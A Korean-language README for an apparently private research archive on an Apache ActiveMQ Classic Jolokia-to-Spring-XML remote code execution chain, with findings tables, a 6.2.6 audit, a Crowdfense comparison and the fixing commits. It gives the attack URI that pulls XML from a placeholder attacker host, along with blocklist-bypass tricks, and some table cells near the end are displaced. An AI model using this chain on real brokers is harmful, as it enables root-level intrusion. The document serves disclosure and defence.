
Apache ActiveMQ Classic RCE 연구: CVE-2026-34197 / CVE-2026-42588 우회 체인 + hardened-6.2.6 감사 결과 + Crowdfense 비교
Apache ActiveMQ Classic의 Jolokia → addNetworkConnector → xbean/Spring-XML 원격 코드 실행 체인(CVE-2026-34197 및 해당 패치 우회 CVE-2026-42588)에 대한 비공개 연구 아카이브와 수정된 6.2.6 릴리스의 전체 자동 연구 감사 및 Crowdfense의 공개 우회 글과의 나란히 비교입니다.
모든 익스플로잇은 로컬 랩 브로커(Docker / 자체 호스팅)를 대상으로 수행되었습니다. 페이로드는 플레이스홀더 공격자 호스트를 사용합니다.
| 폴더 | 단계 | 내용 |
|---|
00-comparison-vs-crowdfense.md | 비교 | Crowdfense의 "ActiveMQ RCE Bypass" 기사와의 작업 비교, 파일:라인에서 소스 검증됨 |
01-original-cve-2026-34197/ | 원본 재현 | 분석 + PoC 스크립트 + Spring-XML 페이로드(랩: activemq-classic:5.18.6) |
02-reaudit-apr30/ | 버전 매트릭스 | 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7에서 uid=0; 평가 + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | 실시간 우회 | 괄호 없는 복합 우회(42588) + MessageServlet XSS(42253), 실시간 재현 |
04-audit-6.2.6/ | 전체 감사 | 강화된 6.2.6의 자동 연구 감사: 최종 보고서 + 발견 사항 원장 |
실험실에서 사용된 공급업체 소스 트리 및 바이너리 배포판은 의도적으로 제외되었습니다(상위 프로젝트이며 당사 소유가 아닙니다).
인증된(6.0.0–6.1.1에서는 CVE-2024-32114를 통해 인증되지 않은) Jolokia 호출자가 BrokerView.addNetworkConnector(uri)를 호출하여 내부 vm://…?brokerConfig=xbean:<url>이 포함된 조작된 검색 URI를 사용하면 브로커가 공격자가 제어하는 Spring XML을 로드하도록 강제하며, 이는 브로커 검증 전에 ProcessBuilder 빈을 즉시 인스턴스화하여 OS 명령 실행으로 이어집니다.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
핵심: 세 가지 발견 사항은 루트/XSS까지 실시간 입증되었습니다. 6.2.6 감사는 소스 검증 및 적대적 판단을 거쳤지만 아직 실시간 폭파되지 않은 더 광범위한 세트를 추가합니다. 6.2.6의 추가 사항 중 새로운 인증되지 않은 RCE는 없습니다. 공급업체가 그 문을 닫았습니다. 잔여 위험은 인증 및 출력 인코딩으로 이동했습니다.
| ID | 발견 사항 | 클래스 | 심각도 | 인증 | 증명 |
|---|---|---|---|---|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | 치명적 | 인증 후(6.0.0–6.1.1에서는 인증 없음) | 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7에서 실시간 — uid=0 |
| CVE-2026-42588 | 34197 차단 목록의 괄호 없는 복합 URI 우회 | RCE (패치 우회) | 치명적 | 인증 후 | 34197 패치 적용된 5.19.6 + 6.2.0에서 실시간 — uid=0 |
| CVE-2026-42253 | MessageServlet 헤더 주입 → 저장형 XSS | 주입 / XSS | 중간 | 인증 후 | 6.2.0에서 실시간 |
| ID | 발견 사항 | 클래스 | 심각도 | 인증 | 참고 사항 |
|---|---|---|---|---|---|
| C1 | static: 차단 목록 차이 → SSRF — static이 DENIED_TRANSPORT_SCHEMES에 없음; addNetworkConnector("static:(tcp://…)") → 아웃바운드 브로커 TCP | SSRF | 중간 | 관리자 / JMX | 기사에서 다루는 동일한 34197/42588 차단 목록을 우회하는 싱크 변종 |
| B1 | 지속적 구독 크로스-clientId 삭제 IDOR — removeSubscription은 와이어 제공 clientId를 키로 사용하며 AuthorizationBroker에서 게이트가 없음 | 인증 손상 / IDOR | 중간 | 인증 후(브로커 인증이 꺼져 있으면 인증 전) | 가장 깔끔한 새로운 발견 |
| B3 | LDAP 빈 비밀번호 → 익명 바인드 (LDAPLoginModule, 빈 값 검사 없음) | 인증 우회 | 중간 (조건적) | 인증 전 | 디렉터리가 익명 바인드를 허용하는 경우 조건적 |
| A1–A7 | 콘솔 출력 인코딩 주입 패밀리 — 공격자가 제어하는 MessageId.textView(OpenWire v10+ 및 AMQP)가 약 7개의 JSP/REST 싱크에서 이스케이프되지 않음 + FileSystemBlobStrategy 경로 순회 | 주입 | 낮음–중간 | 프로듀서 → 관리자 | 기본적으로 CSP에 의해 HTML/내용 주입으로 제한됨 |
| B2 | Shiro WildcardPermission 콜론 주입 동사 에스컬레이션 | 권한 상승 | 낮음–중간 | 인증 후 | Shiro 비기본 |
| B4 | 임시 대상 인증 실패 시 열림 비대칭 vs 비임시 실패 시 닫힘 | 인증 손상 | 낮음 | 인증 후 | 설계상(AMQ-4721); 강화 참고 사항 |
| B5 | StatisticsBroker replyTo가 인증 전에 플러그인이 정렬되면 쓰기 ACL 건너뜀 | 인증 손상 | 낮음 | 인증 후 | 구성 순서에 따라 다름 |
| B6 | 인증서 로그인 비정규 DN (getSubjectDN().getName()) → 동일 CA 인증서 간의 ID 충돌 | 인증 | 낮음 | 인증 전 (TLS 검증됨) | "자체 서명 인증서"는 작동하지 않음 |
| B7 | populateJMSXUserID=false(기본값)일 때 JMSXUserID |
MQTT QoS 서수 AIOOBE (QoS.values()[ordinal], 교차 프로토콜, 구성 없음) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire 역직렬화에서 부호 있는 short NegativeArraySizeException · 음수 AMQ_SCHEDULED_REPEAT 불멸 작업.
Crowdfense의 Apache ActiveMQ RCE Bypass는 동일한 체인을 다룹니다(그들은 이를 CVE-2026-34197로 분류하고, 우리는 우회를 자체 CVE-2026-42588로 추적합니다). 두 설명 모두 3계층 방어에서 수렴합니다. 유일한 차이는 계층 2입니다.
| 계층 | 방어 | Crowdfense가 우회한 방법 | 우리가 우회한 방법 |
|---|---|---|---|
| 1 | 스킴 차단 목록 (34197 수정) | 괄호 없는 복합 static:vm://… | 동일 — 독립적으로 발견 ✅ |
| 2 | xbean {file,classpath} 허용 목록 (#1910) | 퍼센트 인코딩된 file:%2f%2f… → Windows UNC → WebDAV → 원격 HTTP 가져오기 | 로컬 파일 xbean:/tmp/evil.xml (로컬 쓰기 필요) |
| 3 | VMTransportFactory 스킴 게이트 (broker,properties, 42588 / 6.2.6 수정) | 킬로 인정됨 | 동일한 결론 ✅ |
한 가지 차이점: 그들의 계층 2 퍼센트 인코딩 + UNC/WebDAV 트릭은 로컬 쓰기 프리미티브 없이 완전 원격 전달을 달성합니다. 그것이 남용하는 분류기 결함(activemq-spring/Utils.java:123-129, 디코딩되지 않은 문자열에 대한 원시 startsWith("file://")) 우리의 정확한 소스에 존재합니다 — 하지만 원격 부분은 Windows 전용입니다(Linux는 //host/share를 로컬 경로로 처리합니다). 우리 실험실은 Linux였기 때문에 거기서 실행할 수 없었습니다. 어쨌든 6.2.6에서는 죽었습니다(VMTransportFactory 스킴 게이트가 Utils 실행 전에 xbean을 거부합니다).
후속 조치: Windows 호스팅 5.19.6(또는 5.19.7/6.2.6 이전 빌드) + SMB/WebDAV 리스너를 사용하면 완전 원격 허용 목록 우회를 시연할 수 있습니다. 이는 기사가 가지고 있지만 우리의 작업이 보여주지 못한 유일한 기능입니다.
세 개의 커밋이 체인을 닫습니다: c1b44af11 (괄호 없는 복합 URI 검증 — parseComposite 무조건 + 재귀), c2fc7a1d6 (VMTransportFactory 스킴 허용 목록을 통해 기본적으로 XBeanBrokerFactory 차단), be8415f24 (샘플 구성 강화: Jolokia를 루프백으로, addNetworkConnector가 포함된 작업 거부 목록).
| 스푸핑 |
| 낮음 |
| 인증 후 |
| — |
| F5 | STOMP 아웃바운드 헤더 이름이 이스케이프되지 않음 → 동일 테넌트 구독자에게 프레임 주입 | 주입 | 낮음 | 교차 프로토콜 | STOMP 활성화 |